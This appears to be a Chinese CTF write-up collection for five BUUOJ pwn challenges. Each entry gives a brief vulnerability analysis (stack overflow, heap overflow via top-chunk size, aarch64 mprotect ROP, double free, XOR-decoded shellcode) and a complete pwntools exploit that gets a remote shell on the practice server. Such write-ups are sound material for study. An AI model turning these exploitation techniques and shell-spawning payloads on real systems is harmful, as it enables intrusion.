246 pwnable_echo1
结构简单。
功能1
就是个输入输出。但是显然有个栈溢出。
功能2功能3没有。
啥保护没有,就栈溢出就完了。可以直接rop,它开了NX。也可以shellcode。
写shellcode会有两种,一种是布置在栈上,然后在bss上通过jmp esp跳过去,一种是写在bss上,然后直接跳过去,根据可输入大小来自行调节。
exp
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
id_addr=0x6020A0
r= remote("node4.buuoj.cn", "28880")
payload = "A" * (0x20+8) + p64(id_addr) +asm(shellcraft.sh())
r.recvuntil("hey, what's your name? : ")
r.sendline(asm("jmp rsp"))
r.recvuntil("> ")
r.sendline("1")
r.recvline()
#gdb.attach(p)
r.sendline(payload)
r.interactive()
247 actf_2019_actfnote
add
申请了一个0x18的chunk放各种信息,name会申请一个size大小的chunk,而content用的是strdup。
free
清理的也是较为干净的。
edit
content直接输入0x20个,前面用的是strdup,有溢出。
list
就是一顿输出。
因为有溢出,也不大,能把下个chunk的pre_size size覆盖掉。
因为没开pie,所以直接unlink就好了。当然off by one啥的都可以用。
瞅了瞅网上师傅们的wp,发现还有种解法。
可以直接修改top chunk的size,那么只需要把top chunk的size修改为-1,然后malloc一个负数,即可将TOP chunk向前移动与已有的chunk重叠,然后通过申请空间,控制该程序结构体的指针即可实现任意地址读写。
非常的神奇……
exp
#coding:utf8
from pwn import *
context.log_level = "debug"
r = remote('node4.buuoj.cn', 27461)
libc = ELF('./64/libc-2.27.so')
def add(size,name,content):
r.sendlineafter('$','1')
r.sendlineafter('size:',str(size))
r.sendafter('name:',name)
r.sendafter('content:',content)
def edit(index,content):
r.sendlineafter('$','2')
r.sendlineafter('id:',str(index))
r.sendafter('content:',content)
def delete(index):
r.sendlineafter('$','3')
r.sendlineafter('id:',str(index))
def show(index):
r.sendlineafter('$','4')
r.sendlineafter('id:',str(index))
add(0x10,'a\n','b'*0x18) #0
add(0x10,'a\n','/bin/sh\x00') #1
show(0)
r.recvuntil('b'*0x18)
libc_base = u64(r.recv(6).ljust(8,'\x00')) - 0x8e3f2
system_addr = libc_base + libc.sym['system']
free_hook_addr = libc_base + libc.sym['__free_hook']
print 'libc_base=',hex(libc_base)
add(0x10,'a\n','b\n') #2
edit(2,'b'*0x10 + p64(0) + '\xff'*0x8)
add(-0x80,p64(free_hook_addr),'') #3
edit(2,p64(system_addr))
delete(1)
r.interactive()
248 骇极杯_2018_babyarm
main函数在这里。
首先调用了0x400760
就是set buf。
接着输出了个name,然后能读。读0x200,可以读到bss上。
再进入另外一个函数。
又可以读0x200,这次读在栈里面,显然有个栈溢出。
没有啥libc啥的,但是发现有个mprotect。
所以就像x86一样,返回mprotect改权限然后执行shellcode。
exp
from pwn import*
elf = ELF('./pwn')
context(arch='aarch64',log_level='debug')
r = remote('node4.buuoj.cn',29842)
shellcode_addr = 0x411068
mprotect = 0x4007e0
gadget1 = 0x4008cc
gadget2 = 0x04008ac
shellcode = p64(mprotect)+p64(0)+asm(shellcraft.sh())
r.recvuntil('Name:')
r.sendline(shellcode)
sleep(0.1)
payload = 'a'*0x48+p64(gadget1)+p64(0)+p64(gadget2)
payload += p64(0)*2+p64(shellcode_addr)+p64(0x7)+p64(0x1000)+p64(0x411000)
payload += p64(0)+p64(shellcode_addr+0x10)
r.sendline(payload)
r.interactive()
249 metasequoia_2020_samsara
free的地方有uaf,可以做double。
在栈上伪造一个chunk,然后改值就好了。
exp
from pwn import *
r = remote("node4.buuoj.cn",26172)
def add():
r.sendlineafter(">","1")
def delete(index):
r.sendlineafter(">","2")
r.sendlineafter(":\n",index)
def edit(index,content):
r.sendlineafter(">","3")
r.sendlineafter(":\n",index)
r.sendlineafter(":\n",content)
def edit_lair(value):
r.sendlineafter(">","5")
r.sendlineafter("?\n",value)
add()
add()
add()
delete("0")
delete("1")
delete("0")
add() #chunk 3
edit_lair(str(0x20))
edit("3",str(show()-0x8))
add()
add()
add()
edit("6",str(3735928559))
r.sendline("6")
r.interactive()
250 tiny_backdoor_v1_hackover_2016
保护一点没有。
程序很小,一点一点分析。
首先调用0x4000e1这个函数。
能往bss读九个字节。
又调用了0x4000f9。
有个小算法。
a1是一堆数字的数组,a2是一共多少数字,一共72.
a1中的值^=你输入的九个中的值。
最后调用a1.
所以逻辑就是你输入个啥,然后让他们一顿循环,最后把a1变成shellcode。
但是说实话,咋就能倒回来,这我真不知道……
好不容易找了个exp学习学习,他也说不知道……
这玩意只能是写个算法慢慢猜吧…
猜猜是不是syscall的
猜猜是不是orw的
orw还得猜猜读取的大小,读取的位置,哎呀。
exp
from pwn import *
context.log_level='debug'
context.arch = "amd64"
r = remote("node4.buuoj.cn",25368)
key = '\xe6\xd9\xf6\x38\x2a\x02\xfd\x3a\xc3'
r.send(key)
r.interactive()